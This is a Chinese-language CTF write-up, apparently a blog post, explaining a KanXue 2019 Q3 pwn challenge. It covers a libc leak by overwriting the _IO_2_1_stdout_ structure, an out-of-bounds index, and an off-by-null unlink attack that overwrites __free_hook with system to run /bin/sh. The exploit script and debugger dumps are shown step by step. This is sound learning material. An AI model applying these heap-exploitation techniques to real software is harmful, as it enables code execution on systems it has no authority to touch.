1. 基础知识:利用_IO_2_1_stout_泄露信息
在CTF比赛的pwn题目,或者真实的环境下,有时候程序不能泄露libc基址,如果有机会修改_IO_2_1_stdout_结构体中的数值则可以实现信息泄露。
首先来看看_IO_2_1_stdout_的结构体信息
实现信息泄露需要修改_IO_2_1_stdout_的_flags、_IO_write_base、_IO_write_ptr。步骤如下:
(1)一般我们将_flags设置为0xfbad1800。目的是为了设置_IO_CURRENTLY_PUTTING=0x800,_IO_IS_APPENDING=0x1000,IO_MAGIC=0xFBAD0000
(2)设置_IO_write_base指向想要泄露的地方;_IO_write_ptr指向泄露结束的地址。
(3)之后遇到puts或printf,就会将_IO_write_base指向的内容打印出来。
下面以看雪CTF2019Q3第四题pwn脚本为例说明。
显示_IO_2_1_stdout_=0x00007f0516d85620的内容
edit(-6, p64(0xfbad1800)+p64(0x0)*3+'\x60')
执行完此句后,_IO_write_base=0x00007f0516d85660,_IO_write_ptr=0x00007f0516d856a3
data = u64(io.recv(6).ljust(8,'\x00'))
执行完此句会显示菜单,其中有句puts("1.add"),将泄露0x00007f0516d85660—0x00007f0516d856a3的内容
2. 题目分析
存在2个漏洞,都在编辑函数中。
(1)没有对输入的索引进行范围判断,造成数组越界,从而可以访问到_IO_2_1_stdout_。
(2)如果输入的刚好为len长的字符,则会读取最后一字节的内容,置为0。在输入的最后加上字节”\x00″,这样就造成了offbynull漏洞。相当于多写一个0到堆中
我也是新手,没能力写pwn脚本,借助oooAooo的脚本来解析具体的解题过程。
https://bbs.pediy.com/thread-254703.htm
3.解析pwn脚本
注:下面的截图是分几次获得的,由于每次程序加载的基址不同,地址很可能前后不一致,大家仅关注后几个字节即可,不影响原理说明。
(1)获取libc基址
edit(-6, p64(0xfbad1800)+p64(0x0)*3+'\x60')
data = u64(io.recv(6).ljust(8,'\x00'))
libc_base = data - 0x3C56A4
print 'libc_base = '+ str(hex(libc_base))
system_addr = libc_base + system_offset
print 'system_addr = '+str(hex(system_addr))
(2)获取pwn程序基址
__malloc_hook_ptr = libc_base +__malloc_hook_ptr_offset
print '__malloc_hook_ptr = ' +str(hex(__malloc_hook_ptr))
edit(-6, p64(0xfbad1800)+p64(0x0)*3+p64(__malloc_hook_ptr))
pwn_malloc_hook_ptr =u64(io.recv(6).ljust(8,'\x00'))
print 'pwn_malloc_hook_ptr = '+str(hex(pwn_malloc_hook_ptr))
pwn_base = pwn_malloc_hook_ptr - 0x202020
print 'pwn_base = '+ str(hex(pwn_base))
thunk_ptr = pwn_base + globalVar_offset +0x38
feehookBk_addr = pwn_base +freehookBk_offset
print 'thunk_ptr = '+ str(hex(thunk_ptr))
print 'feehookBk_addr = '+str(hex(feehookBk_addr))
(3)申请5个0xF8大小chunk
add(248)
heap 0 : 0x5606a6ea0010
add(248)
heap 1 : 0x5606a6ea0110
add(248)
heap 2 : 0x5606a6ea0210
add(248)
heap 3 : 0x5606a6ea0310
0x5606a6ea0300: 0x0000000000000000 0x0000000000000101
0x5606a6ea0310: 0x0000000000000000 0x0000000000000000
0x5606a6ea0320: 0x0000000000000000 0x0000000000000000
0x5606a6ea0330: 0x0000000000000000 0x0000000000000000
0x5606a6ea0340: 0x0000000000000000 0x0000000000000000
0x5606a6ea0350: 0x0000000000000000 0x0000000000000000
0x5606a6ea0360: 0x0000000000000000 0x0000000000000000
0x5606a6ea0370: 0x0000000000000000 0x0000000000000000
0x5606a6ea0380: 0x0000000000000000 0x0000000000000000
0x5606a6ea0390: 0x0000000000000000 0x0000000000000000
0x5606a6ea03a0: 0x0000000000000000 0x0000000000000000
0x5606a6ea03b0: 0x0000000000000000 0x0000000000000000
0x5606a6ea03c0: 0x0000000000000000 0x0000000000000000
0x5606a6ea03d0: 0x0000000000000000 0x0000000000000000
0x5606a6ea03e0: 0x0000000000000000 0x0000000000000000
0x5606a6ea03f0: 0x0000000000000000 0x0000000000000000
0x5606a6ea0400: 0x0000000000000000 0x0000000000000101
0x5606a6ea0410: 0x0000000000000000 0x0000000000000000
add(248)
heap 4 : 0x5606a6ea0410
add(248)
heap 5 : 0x5606a6ea0510
(4) 编辑3号内存,溢出4号chunk的pre_used标志位0
payload = p64(0x110) + p64(0xf1) +p64(thunk_ptr - 0x18) + p64(thunk_ptr - 0x10) + 'a' * 0xd0 + p64(0xf0)
edit(3, payload)
x/50gx 0x55650E301080-0x10
0x55650e301080: 0x00000000000000f8 0x000055650e829010
0x55650e301090: 0x00000000000000f8 0x000055650e829110
0x55650e3010a0: 0x00000000000000f8 0x000055650e829210
0x55650e3010b0: 0x00000000000000f8 0x000055650e829310
0x55650e3010c0: 0x00000000000000f8 0x000055650e829410
0x55650e3010d0: 0x00000000000000f8 0x000055650e829510
编辑后:
0x55650e829300: 0x0000000000000000 0x0000000000000101
0x55650e829310: 0x0000000000000110 0x00000000000000f1
0x55650e829320: 0x000055650e3010a0 0x000055650e3010a8
0x55650e829330: 0x6161616161616161 0x6161616161616161
0x55650e829340: 0x6161616161616161 0x6161616161616161
0x55650e829350: 0x6161616161616161 0x6161616161616161
0x55650e829360: 0x6161616161616161 0x6161616161616161
0x55650e829370: 0x6161616161616161 0x6161616161616161
0x55650e829380: 0x6161616161616161 0x6161616161616161
0x55650e829390: 0x6161616161616161 0x6161616161616161
0x55650e8293a0: 0x6161616161616161 0x6161616161616161
0x55650e8293b0: 0x6161616161616161 0x6161616161616161
0x55650e8293c0: 0x6161616161616161 0x6161616161616161
0x55650e8293d0: 0x6161616161616161 0x6161616161616161
0x55650e8293e0: 0x6161616161616161 0x6161616161616161
0x55650e8293f0: 0x6161616161616161 0x6161616161616161
0x55650e829400: 0x00000000000000f0 0x0000000000000100
(5)删除4号内存
delete(4)
3、4号内存合并。且将第3个堆的地址指向thunk_ptr - 0x18=0x000055fa482990a0。这些都是unlink造成的。
0x55fa48299080: 0x00000000000000f8 0x000055fa4a1dd010
0x55fa48299090: 0x00000000000000f8 0x000055fa4a1dd110
0x55fa482990a0: 0x00000000000000f8 0x000055fa4a1dd210
0x55fa482990b0: 0x00000000000000f8 0x000055fa482990a0
0x55fa482990c0: 0x0000000000000000 0x0000000000000000
0x55fa482990d0: 0x00000000000000f8 0x000055fa4a1dd510
生成了一个unsorted bin
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x55fa4a1dd310 —▸ 0x7fda0a932b78 (main_arena+88) ◂— 0x55fa4a1dd310
smallbins
empty
largebins
empty
(6)编辑3号内存,使其指向freehook
payload = p64(0xF8) + p64(feehookBk_addr)
edit(3, payload)
编辑前,即为全局存储长度和堆地址的地方:
pwndbg> x/20gx 0x000055fa482990a0-0x10
0x55fa48299090: 0x00000000000000f8 0x000055fa4a1dd110
0x55fa482990a0: 0x00000000000000f8 0x000055fa4a1dd210
0x55fa482990b0: 0x00000000000000f8 0x000055fa482990a0
编辑后,指向free_hook地址:
0x556d29d43080: 0x00000000000000f8 0x0000556d2b01d010
0x556d29d43090: 0x00000000000000f8 0x0000556d2b01d110
0x556d29d430a0: 0x00000000000000f8 0x0000556d29d43058
0x556d29d430b0: 0x00000000000000f8 0x0000556d29d430a0
0x556d29d430c0: 0x0000000000000000 0x0000000000000000
0x556d29d430d0: 0x00000000000000f8 0x0000556d2b01d510
(7)编辑2号内存,将free_hook指向system,实现了任意地址写。
payload = p64(system_addr)
edit(2, payload)
(8)编辑1号内存,指向/bin/sh
edit(1, '/bin/sh\x00')
(9)删除操作触发free_hook
delete(1)
delete(0x000055614c5ac110) ==>
free_hook(0x000055614c5ac110) ==> system(0x000055614c5ac110)=system(/bin/sh)
网友评论